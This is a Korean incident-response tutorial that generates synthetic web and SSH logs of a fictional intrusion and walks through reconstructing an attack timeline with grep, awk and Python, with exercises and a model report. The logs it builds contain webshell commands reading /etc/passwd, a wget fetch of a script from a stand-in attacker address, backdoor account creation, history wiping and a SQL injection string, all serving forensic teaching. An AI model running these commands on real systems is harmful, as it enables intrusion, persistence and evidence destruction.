Step 245. 로그 분석 시나리오: 침입 흔적 타임라인 재구성 — 흩어진 퍼즐을 한 줄의 이야기로

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★☆☆ | 예상 소요 시간 3~4시간

전제: Step 244 완료. 파이썬 3과 Git Bash(grep/awk)를 사용합니다. 로그 파일은 우리가 직접 만들어 분석합니다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

준비물: 파이썬 3(실측: 3.12.14), Git Bash, 작업 폴더 하나. 인터넷 연결은 필요 없습니다.
주의: 오늘 분석할 로그는 우리가 직접 생성한 가상 로그입니다. 공격자 IP도 문서 작성 전용 대역(203.0.113.0/24, TEST-NET-3)의 가상 주소입니다. 실제 서버 로그를 다룰 때는 개인정보와 내부 IP가 섞여 있으므로 외부 공유 전 반드시 가공해야 합니다.

실제 침해 조사 현장에서 증거는 한 파일에 예쁘게 정리되어 있지 않습니다. 웹 서버 로그, 인증 로그, 명령 기록이 제각각 흩어진 퍼즐 조각입니다. 그런데 "웹 로그의 웹쉘 업로드 시각 → 인증 로그의 이상 로그인 → 신규 계정 생성 기록"을 시간축 위에 나란히 붙이는 순간, 조각들이 한 줄의 이야기가 됩니다. 이 능력 — 분산된 기록을 이야기로 만드는 상관 분석(correlation) — 이 침해 대응(IR)의 심장입니다. 오늘은 가상 침입 사건 하나를 처음부터 끝까지 직접 재구성합니다.

1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

웹 접근 로그(Apache 형식)와 인증 로그(auth.log 형식)의 한 줄을 읽는다
grep/awk와 파이썬으로 의심 활동을 걸러낸다
여러 로그의 기록을 시간순으로 병합해 공격 타임라인을 만든다
침입 벡터·초기 접근·수행 행위·피해 범위·재발 방지의 5단 구성으로 미니 보고서를 쓴다
"로그가 지워진 흔적" 자체가 증거가 되는 원리를 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분	내용
언어·환경	파이썬 3 + Git Bash의 `grep`, `awk`, `sort`, `uniq`
오늘의 명령어	`awk '{print $1}' 로그 \| sort \| uniq -c \| sort -rn`(IP별 집계), `grep -c "Failed password" auth.log`(실패 건수), 파이썬 정규식 `re.search`로 필드 추출
필요한 개념	로그 포맷, 상관 분석(correlation), 타임라인, 침입 벡터, 웹쉘, 무차별 대입(brute force)

2-1. 상관 분석 — 퍼즐을 이야기로

상관 분석(correlation)은 서로 다른 출처의 기록을 공통 축(보통 시간, IP, 계정)으로 맞춰 하나의 사건 흐름을 재구성하는 기법입니다.

단일 로그는 단편만 말해 줍니다. 웹 로그는 "누가 어떤 URL을 요청했나"를 알고, 인증 로그는 "누가 로그인에 성공/실패했나"를 압니다. 그런데 같은 IP가 웹 로그에서 업로드를 하고 9분 뒤 인증 로그에서 로그인에 성공했다면 — 두 기록은 하나의 침입 시나리오가 됩니다. 조사관의 실력은 이 "같은 배터, 같은 시간"을 찾아내는 데서 나옵니다.

2-2. 로그 포맷 읽기 — 두 얼굴

오늘 다루는 두 포맷입니다.

Apache 결합 형식(웹 서버):

203.0.113.77 - - [09/Sep/2026:22:17:44 +0900] "POST /upload.php HTTP/1.1" 200 531 "-" "curl/8.5.0"

auth.log 형식(리눅스 인증):

Sep  9 22:15:00 webserver sshd[3310]: Failed password for invalid user admin from 203.0.113.77 port 44000 ssh2

날짜 시각 | 호스트명 | 프로세스[PID] | 메시지입니다. 메시지 안에 성공/실패, 계정명, 출발 IP가 다 들어 있습니다.

2-3. 공격의 전형적 순서 — 킬체인의 로그 버전

웹 서버 침입은 로그에서 대체로 같은 순서로 나타납니다:

정찰 — 존재하지 않는 경로 탐색(404 다발), 스캐너 User-Agent
공격 — 취약점 시도(SQL 인젝션 패턴, 파일 업로드)
거점 확보 — 웹쉘 접근 기록 (/uploads/shell.php?cmd=... 같은)
확산 — SSH 로그인 시도, 권한 상승(sudo), 신규 계정 생성
흔적 지우기 — history 삭제, 로그 공백

오늘 실습 로그에 이 다섯 단계가 전부 들어 있습니다. 순서를 알고 보면 로그가 다르게 읽힙니다.

2-4. 지워진 것도 증거다

공격자는 history -c로 명령 기록을 지우고, 로그 일부를 삭제합니다. 그런데 "비어 있다"는 사실 자체가 기록입니다. 정상 서버의 bash_history가 갑자기 비어 있거나, 로그에 시간대가 통째로 빠져 있다면 — 그 공백이 "누군가 지웠다"는 증거가 됩니다(Step 12 연습문제 4번에서 이미 만난 원리입니다). 조사 보고서에는 "확인된 사실"뿐 아니라 "확인 불가한 공백"도 적습니다.

3. 따라 하기

3-1. 사건 현장 만들기 — 가상 로그 생성

실습용 침입 시나리오 로그를 직접 생성합니다. 작업 폴더에 gen_logs.py를 만드세요:

from pathlib import Path
import random
random.seed(42)
out = Path("lab245"); out.mkdir(exist_ok=True)
ATK = "203.0.113.77"  # 가상 공격자 (문서 전용 대역)
LEGIT = ["192.168.10.21", "192.168.10.35", "10.20.0.8"]
pages = ["/", "/index.php", "/board/list.php", "/login.php", "/css/style.css"]

lines = []
for h in range(9, 22):  # 정상 이용자들의 낮 시간대 접속
    for _ in range(random.randint(3, 6)):
        ip, p = random.choice(LEGIT), random.choice(pages)
        m, s = random.randint(0, 59), random.randint(0, 59)
        lines.append((h * 60 + m, f'{ip} - - [09/Sep/2026:{h:02d}:{m:02d}:{s:02d} +0900] "GET {p} HTTP/1.1" 200 {random.randint(200, 5000)} "-" "Mozilla/5.0"'))
# 공격자의 행동 (22:13~22:21)
att = ["22:13:02 GET /wp-admin/ 404 sqlmap", "22:13:09 GET /.git/config 404 sqlmap",
       "22:14:31 GET /board/view.php?id=13%27%20OR%201=1-- 200 Mozilla",
       "22:17:44 POST /upload.php 200 curl", "22:19:03 GET /uploads/shell.php?cmd=id 200 curl",
       "22:19:41 GET /uploads/shell.php?cmd=cat%20/etc/passwd 200 curl",
       "22:21:15 GET /uploads/shell.php?cmd=wget%20http://203.0.113.77/x.sh 200 curl"]
for a in att:
    t, method, path, code, ua = a.split(" ", 4)
    h, m, s = map(int, t.split(":"))
    lines.append((h * 60 + m, f'{ATK} - - [09/Sep/2026:{t} +0900] "{method} {path} HTTP/1.1" {code} 500 "-" "{ua}"'))
lines.sort(key=lambda x: x[0])
(out / "access.log").write_text("\n".join(l for _, l in lines) + "\n", encoding="utf-8")

auth = ["Sep  9 09:02:11 webserver sshd[1102]: Accepted password for deploy from 10.20.0.8 port 51022 ssh2"]
for i in range(12):
    auth.append(f"Sep  9 22:15:{i*4:02d} webserver sshd[3310]: Failed password for invalid user admin from {ATK} port {44000+i*7} ssh2")
for i in range(8):
    auth.append(f"Sep  9 22:16:{i*3:02d} webserver sshd[3310]: Failed password for root from {ATK} port {45000+i*11} ssh2")
auth += [f"Sep  9 22:22:08 webserver sshd[3411]: Accepted password for www-data from {ATK} port 45123 ssh2",
         "Sep  9 22:24:51 webserver sudo: www-data : USER=root ; COMMAND=/usr/sbin/useradd -m backup2",
         "Sep  9 22:24:52 webserver useradd[3550]: new user: name=backup2, UID=1001, home=/home/backup2, shell=/bin/bash",
         f"Sep  9 22:26:10 webserver sshd[3490]: Accepted password for backup2 from {ATK} port 45200 ssh2",
         "Sep  9 23:01:44 webserver sshd[3490]: pam_unix(sshd:session): session closed for user backup2"]
(out / "auth.log").write_text("\n".join(auth) + "\n", encoding="utf-8")

hist = "cd /var/www/html/uploads\nid\ncat /etc/passwd\nwget http://203.0.113.77/x.sh\nchmod +x x.sh\nsudo useradd -m backup2\nhistory -c\n"
(out / "bash_history").write_text(hist, encoding="utf-8")
print("생성 완료:", [p.name for p in out.iterdir()])

실행:

python gen_logs.py

생성 완료: ['access.log', 'auth.log', 'bash_history']

(2026-09-09 실측. access.log 63줄, auth.log 26줄, bash_history 7줄이 생성됐습니다.)

왜 직접 만드는가: 실제 사고 로그는 구할 수도 공유할 수도 없는 경우가 많습니다(개인정보·기밀). 그래서 훈련은 "내가 만든 시나리오"로 합니다 — 정답을 아는 상태에서 분석 절차를 연습하고, 나중에 CTF의 미지의 로그에 적용합니다.

3-2. 1차 정찰 — 누가 이 서버를 두드렸나

로그 분석의 첫 동작은 "누가 왔나" 집계입니다. Git Bash에서:

cd lab245
awk '{print $1}' access.log | sort | uniq -c | sort -rn

     20 192.168.10.21
     19 192.168.10.35
     17 10.20.0.8
      7 203.0.113.77

(2026-09-09 실측.)

출력 읽는 법: awk '{print $1}'은 첫 번째 필드(IP)만 뽑고, sort | uniq -c는 종류별 개수를 셉니다. 내부 대역(192.168.x, 10.x) 세 곳이 고른 접속을 보이고, 203.0.113.77 하나만 외부에서 7건입니다. 건수가 적다고 안심하면 안 됩니다 — 공격은 요청 몇 개로 끝나기도 합니다. 이제 이 IP의 7건이 무엇인지 봐야 합니다.

인증 로그의 실패 건수도 봅니다:

grep -c "Failed password" auth.log

(2026-09-09 실측.) SSH 비밀번호 실패가 20건 — 평범한 오타 수준이 아닙니다. 무차별 대입의 냄새가 납니다.

3-3. 의심 요청 걸러내기 — 파이썬 분석기

이제 본격 분석 스크립트입니다. analyze.py:

import re
from pathlib import Path

lab = Path("lab245")
access = (lab / "access.log").read_text(encoding="utf-8").splitlines()
auth = (lab / "auth.log").read_text(encoding="utf-8").splitlines()

# 1. 의심 요청: 404, 스캐너 UA, 업로드, 웹쉘
sus = [l for l in access if ("404" in l or "sqlmap" in l
        or "shell.php" in l or '"POST' in l or "OR 1=1" in l)]
print("=== 의심 요청 ===")
for l in sus:
    print(l[:110])

# 2. auth.log에서 실패/성공/계정 생성
print("\n=== 인증 기록 ===")
for l in auth:
    if "Failed password" in l or "Accepted password" in l or "new user" in l:
        kind = "FAIL" if "Failed" in l else ("OK  " if "Accepted" in l else "USER")
        who = re.search(r"for (?:invalid user )?(?:user )?(\S+)", l)
        print(f"{l[:15]}  {kind}  {who.group(1) if who else '?':>10}")

실행 결과 (2026-09-09 실측, 일부 생략):

=== 의심 요청 ===
203.0.113.77 - - [09/Sep/2026:22:13:02 +0900] "GET /wp-admin/ HTTP/1.1" 404 162 "-" "sqlmap/1.7"
203.0.113.77 - - [09/Sep/2026:22:13:09 +0900] "GET /.git/config HTTP/1.1" 404 162 "-" "sqlmap/1.7"
203.0.113.77 - - [09/Sep/2026:22:17:44 +0900] "POST /upload.php HTTP/1.1" 200 531 "-" "curl/8.5.0"
203.0.113.77 - - [09/Sep/2026:22:19:03 +0900] "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 187 "-" "curl/8.5.0"
203.0.113.77 - - [09/Sep/2026:22:19:41 +0900] "GET /uploads/shell.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1204 "-" "curl...
203.0.113.77 - - [09/Sep/2026:22:21:15 +0900] "GET /uploads/shell.php?cmd=wget%20http://203.0.113.77/x.sh HTTP/1.1" 200 ...

=== 인증 기록 ===
Sep  9 09:02:11  OK        deploy
Sep  9 22:15:00  FAIL       admin
Sep  9 22:15:04  FAIL       admin
... (admin 실패 12건, 이어서 root 실패 8건)
Sep  9 22:16:21  FAIL        root
Sep  9 22:22:08  OK      www-data
Sep  9 22:24:52  USER     backup2
Sep  9 22:26:10  OK       backup2

출력 읽는 법: 웹 쪽에서 sqlmap(자동 공격 도구) User-Agent의 스캔 → SQL 인젝션 시도(OR 1=1) → 파일 업로드 → /uploads/shell.php에 cmd=id, cmd=cat /etc/passwd 요청 — 웹쉘이 올라가서 명령이 실행됐다는 뜻입니다. 인증 쪽에서는 같은 시간대에 admin/root 실패 다발 후 www-data 성공, 그리고 모르는 계정 backup2 생성까지 이어집니다.

3-4. 타임라인 병합 — 이야기 완성

마지막으로 두 로그를 시간순으로 합칩니다. 분석기에 이어서 추가:

events = []
for l in access:
    if "203.0.113.77" in l:
        t = re.search(r"2026:(\d+:\d+:\d+)", l).group(1)
        act = re.search(r'"(GET|POST) (\S+)', l)
        events.append((t, "WEB", f"{act.group(1)} {act.group(2)[:55]}"))
for l in auth:
    if "203.0.113.77" in l or "backup2" in l:
        t = l[7:15].strip()
        if "Failed" in l: what = "SSH 실패"
        elif "Accepted" in l: what = "SSH 로그인 성공"
        elif "new user" in l: what = "계정 생성"
        elif "session closed" in l: what = "세션 종료"
        else: what = "sudo 실행"
        who = re.search(r"for (?:invalid user )?(?:user )?(\S+)", l)
        events.append((t, "SSH", f"{what} ({who.group(1) if who else '?'})"))
events.sort()
for t, src, what in events:
    print(f"{t}  {src:4} {what}")

실행 결과 (2026-09-09 실측, 연속된 실패는 압축 표기):

22:13:02  WEB  GET /wp-admin/
22:13:09  WEB  GET /.git/config
22:14:31  WEB  GET /board/view.php?id=13%27%20OR%201=1--
22:15:00  SSH  SSH 실패 (admin)      ← 무차별 대입 시작
   ...    SSH  admin 실패 12건, root 실패 8건
22:16:21  SSH  SSH 실패 (root)       ← 대입 종료
22:17:44  WEB  POST /upload.php      ← 웹쉘 업로드
22:19:03  WEB  GET /uploads/shell.php?cmd=id
22:19:41  WEB  GET /uploads/shell.php?cmd=cat%20/etc/passwd
22:21:15  WEB  GET /uploads/shell.php?cmd=wget http://203.0.113.77/x.sh
22:22:08  SSH  SSH 로그인 성공 (www-data)
22:24:51  SSH  sudo 실행 (backup2)
22:24:52  SSH  계정 생성 (backup2)
22:26:10  SSH  SSH 로그인 성공 (backup2)
23:01:44  SSH  세션 종료 (backup2)

출력 읽는 법: 이것이 타임라인입니다. 22시 13분 정찰로 시작해 23시 1분 철수까지, 공격자의 48분이 한눈에 보입니다. 각 행의 출처(WEB/SSH)가 달라도 시간축이 하나라서 이야기가 됩니다 — 이것이 상관 분석의 결과물입니다.

3-5. bash_history — 남은 것과 지워진 것

마지막 퍼즐 조각:

cat bash_history

cd /var/www/html/uploads
id
cat /etc/passwd
wget http://203.0.113.77/x.sh
chmod +x x.sh
sudo useradd -m backup2
history -c

(2026-09-09 실측 — 생성한 내용 그대로.)

출력 읽는 법: 웹쉘에서 한 행위(id, /etc/passwd 열람, wget 다운로드)가 로그의 웹 요청과 정확히 일치합니다 — 교차 검증 성공입니다. 그리고 마지막 줄 history -c는 "기록을 지우라"는 명령입니다. 지우라는 명령 자체가 남았다는 것은, 이 기록이 일부만 살아남았거나 지우기 직전 스냅샷이라는 뜻입니다. 실제 조사라면 "이후 행위는 미상 — 로그 은폐 정황 있음"으로 보고서에 기록합니다.

4. 미션과 연습문제

미션 — 침해 분석 미니 보고서

3절의 분석 결과를 바탕으로 5단 구성 보고서를 report.md에 작성하세요:

침입 벡터 — 최초 진입 수단은 무엇이었나 (로그 근거 1줄 인용)
초기 접근 시각 — 공격자의 첫 기록과 마지막 기록
수행 행위 — 타임라인에서 행위만 5개 이상 추려 나열
피해 범위 — 침해당한 계정, 생성된 계정, 유출됐을 수 있는 파일
재발 방지 — 이 서버 관리자에게 줄 조치 3가지 이상

연습문제

문제 1. access.log의 한 줄 203.0.113.77 - - [09/Sep/2026:22:19:03 +0900] "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 187 "-" "curl/8.5.0"에서 상태코드 200이 조사자에게 주는 의미는 무엇인가요?

문제 2. 이 사건에서 공격자는 SSH 무차별 대입에 실패했는데(22:15~22:16), 결국 22:22에 www-data 로그인에 성공했습니다. 이 성공이 무차별 대입의 결과가 아니라고 추정할 수 있는 로그상의 근거는 무엇인가요?

문제 3. 두 서버의 로그를 합쳐 타임라인을 만들 때, 한 서버는 +0900, 다른 서버는 UTC(+0000)로 기록되어 있었습니다. 무엇을 먼저 해야 하나요?

문제 4. 공격자의 bash_history 마지막 줄이 history -c였습니다. 이 한 줄이 보고서에 어떻게 기록되어야 하나요? "증거가 없다"와 "증거가 지워졌다"의 차이를 설명해 보세요.

5. 모범 답안과 완료 기준

미션 모범 답안

[침해 분석 보고서] (lab245 시나리오, 2026-09-09 분석)

[1] 침입 벡터
파일 업로드 취약점. 22:17:44 POST /upload.php 이후 /uploads/shell.php가
웹쉘로 사용됨. 사전에 SQL 인젝션 시도(22:14:31)도 있었으나 주 진입로는 업로드.

[2] 초기 접근 시각
최초 기록 22:13:02 (GET /wp-admin/, 스캔) — 최종 기록 23:01:44 (세션 종료).
공격 체류 시간 약 48분. 공격 IP: 203.0.113.77.

[3] 수행 행위 (시간순)
- 22:13 디렉터리 스캔 (sqlmap)
- 22:14 SQL 인젝션 시도
- 22:15~22:16 SSH 무차별 대입 (admin 12회, root 8회, 전부 실패)
- 22:17 웹쉘 업로드
- 22:19~22:21 웹쉘로 명령 실행 (id, /etc/passwd 열람, 외부 스크립트 다운로드)
- 22:22 www-data SSH 로그인 성공
- 22:24 sudo로 신규 계정 backup2 생성
- 22:26 backup2로 SSH 재접속 (지속성 확보)
- 이후 history -c로 기록 은폐 시도

[4] 피해 범위
- 침해 계정: www-data (웹서버 실행 계정)
- 생성된 악성 계정: backup2 (UID 1001) — 즉시 잠금 필요
- 유출 가능 파일: /etc/passwd (로그에 열람 기록 확인)
- 추가 다운로드된 x.sh의 내용은 미상 — 서버 잔존 파일 확인 필요

[5] 재발 방지
- 업로드 디렉터리에서 PHP 실행 금지 + 업로드 파일 확장자·내용 검증
- SSH 비밀번호 로그인 비활성화(키 인증 전환), fail2ban 등 대입 차단
- www-data 같은 서비스 계정의 SSH 로그인 원천 차단 (shell=/usr/sbin/nologin)
- backup2 계정 삭제 및 22:24 이후 sudo 명령 전수 조사

검증하는 법: 보고서의 각 주장에 로그 한 줄이 근거로 붙어 있는지 확인하세요. "아마도"가 아니라 "22:17:44의 이 기록이므로"로 쓰는 것 — 그것이 추측과 분석의 차이입니다.

연습문제 해답

문제 1 해답. 요청이 성공했다는 뜻입니다. 404였다면 "웹쉘을 찔러 봤지만 없었다"이고, 200은 "웹쉘이 실제로 존재하고 id 명령이 실행돼 응답(187바이트)이 돌아갔다"는 의미입니다. 공격 시도와 공격 성공을 가르는 숫자입니다.

문제 2 해답. 시간상 무차별 대입(22:15~22:16, 전부 실패)이 끝나고 6분 뒤 성공했으며, 그 사이 웹쉘 업로드(22:17)와 명령 실행(22:19~22:21)이 있었습니다. 즉 대입으로 뚫은 게 아니라 웹쉘에서 획득한 정보로 로그인했을 가능성이 큽니다. 또한 대입 대상은 admin/root였는데 성공 계정은 www-data라 계정도 다릅니다.

문제 3 해답. 타임라인을 만들기 전에 기준 시각을 하나로 정해 환산해야 합니다 (Step 244의 UTC 문제와 동일). 보통 사고 현장의 로컬 시간대로 통일하고, 각 로그의 타임존 표기(+0900/+0000)를 근거로 변환합니다. 이걸 안 하면 두 로그의 사건이 9시간 어긋나 무관해 보입니다.

문제 4 해답. "증거가 없다"는 행위가 없었을 수도 있다는 뜻이지만, history -c라는 삭제 명령의 잔존은 "기록을 지우는 행위가 있었다"는 적극적 증거입니다. 보고서에는 "삭제 시각 이후의 명령 내역은 확인 불가(은폐 정황 명시)"라고 쓰고, 다른 로그(웹 요청, auth.log)로 그 구간을 보완해야 합니다.

완료 기준 체크리스트

[ ] Apache 결합 형식 로그 한 줄의 각 필드를 설명할 수 있다
[ ] auth.log의 Failed/Accepted/new user 메시지를 읽을 수 있다
[ ] awk ... | sort | uniq -c | sort -rn으로 IP별 집계를 할 수 있다
[ ] 파이썬 정규식으로 로그에서 시각·경로·계정을 추출할 수 있다
[ ] 두 로그를 시간순 병합한 타임라인을 만들 수 있다
[ ] 상태코드 200과 404의 조사상 의미 차이를 안다
[ ] "지워진 흔적도 증거"라는 원리를 설명할 수 있다
[ ] 미션: 5단 구성 report.md를 완성했다

6. 흔한 실수와 해결

벽 1. awk 필드가 엉뚱하게 나온다

증상: awk '{print $1}'이 IP가 아닌 다른 걸 출력합니다.
원인: awk는 기본적으로 공백으로 필드를 나눕니다. access.log는 첫 필드가 IP라 맞지만, auth.log는 첫 필드가 월(Sep)입니다. 로그마다 "몇 번째 필드가 무엇인지"가 다릅니다.
해결: head -3 로그파일로 먼저 한 줄의 구조를 보고 필드 번호를 정하세요. auth.log의 IP는 메시지 안에 있어서 grep -o "from [0-9.]*"처럼 패턴으로 뽑는 게 낫습니다.

벽 2. 정규식이 아무것도 못 찾는다

증상: re.search(r"for (\S+)", l)가 None을 반환하고 .group(1)에서 AttributeError: 'NoneType' object has no attribute 'group'이 납니다 (2026-09-09 실측 — 분석 스크립트 작성 중 실제로 발생).
원인: new user: 같은 줄은 "for … from" 패턴이 없어서 매칭이 실패합니다. 로그는 기계가 쓰지만 형식이 한 가지가 아닙니다.
해결: 매칭 전에 if m:으로 확인하거나, 종류별로 다른 패턴을 적용하세요. "모든 줄이 같은 형식"이라는 가정이 로그 분석 최대의 함정입니다.

벽 3. 시각 정렬이 이상하다

증상: 시간순으로 정렬했는데 순서가 뒤죽박죽입니다.
원인: 두 로그의 시각 형식이 다릅니다 — access.log는 22:13:02, auth.log는 Sep 9 22:15:00. 게다가 문자열 정렬이라 9:02가 22:13보다 뒤에 갈 수 있습니다.
해결: 공통 키(예: "시*60+분"의 숫자)로 변환해 정렬하세요. 서로 다른 타임존이 섞여 있다면 환산이 먼저입니다 (연습문제 3).

벽 4. "수상한 IP"가 알고 보니 내부 모니터링

증상: 404를 잔뜩 일으킨 IP를 공격자라고 판단했는데 회사의 헬스체크 서버였습니다.
원인: 패턴만 보고 맥락을 안 봤습니다. 헬스체크·모니터링·백업도 로그에 찍히고, 일부는 스캔처럼 보입니다.
해결: "이 IP의 정체가 설명되는가?"를 먼저 물으세요 (Step 11의 세 질문과 같은 원리). User-Agent, 요청 주기, 사내 자산 목록과 대조하면 대부분 설명됩니다. 설명이 안 될 때만 공격 후보가 됩니다.

벽 5. 로그에 사건 시각대가 통째로 비어 있다

증상: 22:30~23:00 사이 웹 로그가 한 줄도 없습니다.
원인 둘 중 하나: 진짜 요청이 없었거나, 누군가 지웠거나.
해결: 감별 단서를 찾으세요 — 로그 파일의 수정 시각, 로그 로테이션 흔적, 다른 로그(인증 로그 등)에 그 시간대 기록이 있는지. 비어 있는 구간도 보고서에는 "공백 구간 존재, 은폐 가능성 배제 불가"로 명시합니다.

7. 정리

오늘의 개념

개념	한 줄 설명
상관 분석(correlation)	서로 다른 로그를 시간·IP·계정 축으로 맞춰 사건을 재구성하는 기법
침입 벡터	공격자의 최초 진입 수단 (이 사건: 파일 업로드 취약점)
웹쉘	업로드된 스크립트를 URL로 호출해 명령을 실행하는 공격 거점
무차별 대입(brute force)	비밀번호를 계속 바꿔 대는 공격 — 실패 다발이 로그의 지문
타임라인	시간순으로 병합된 사건 목록 — IR 보고서의 뼈대
은폐 정황	`history -c`, 로그 공백 등 "지웠다"는 사실 자체의 증거 가치

오늘의 명령어

명령	하는 일
`awk '{print $1}' access.log \| sort \| uniq -c \| sort -rn`	접속 IP별 건수 집계
`grep -c "Failed password" auth.log`	SSH 실패 건수 세기
`grep "패턴" 로그`	특정 IP·경로·키워드 줄만 추출
파이썬 `re.search(r"패턴", 줄)`	로그 한 줄에서 필드 추출
`events.sort()` (시각 변환 후)	다중 로그의 시간순 병합

명령어보다 중요한 감각

로그 분석의 본질은 도구가 아니라 질문의 순서입니다: 누가 왔나(IP 집계) → 뭘 했나(의심 요청) → 언제 순서대로(타임라인) → 그래서 무슨 피해(범위 산정) → 어떻게 막나(재발 방지). 오늘 이 다섯 질문을 89줄짜리 가상 로그에 적용해 봤고, 이 절차는 수만 줄짜리 실제 사고 로그에서도 정확히 같습니다.

그리고 기억할 것 — 공격자도 로그를 읽습니다. 그래서 지우고, 속이고(가짜 User-Agent), 정상에 섞입니다. 조사관의 대응은 단순합니다: 한 로그만 믿지 말고 교차 검증하고, 없는 것도 기록하라. 오늘 웹 요청과 bash_history가 같은 행위를 가리키는 걸 봤듯이, 흔적은 지워져도 모든 자리에서 동시에 지워지지는 않습니다.

전부 체크되면 Step 245 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.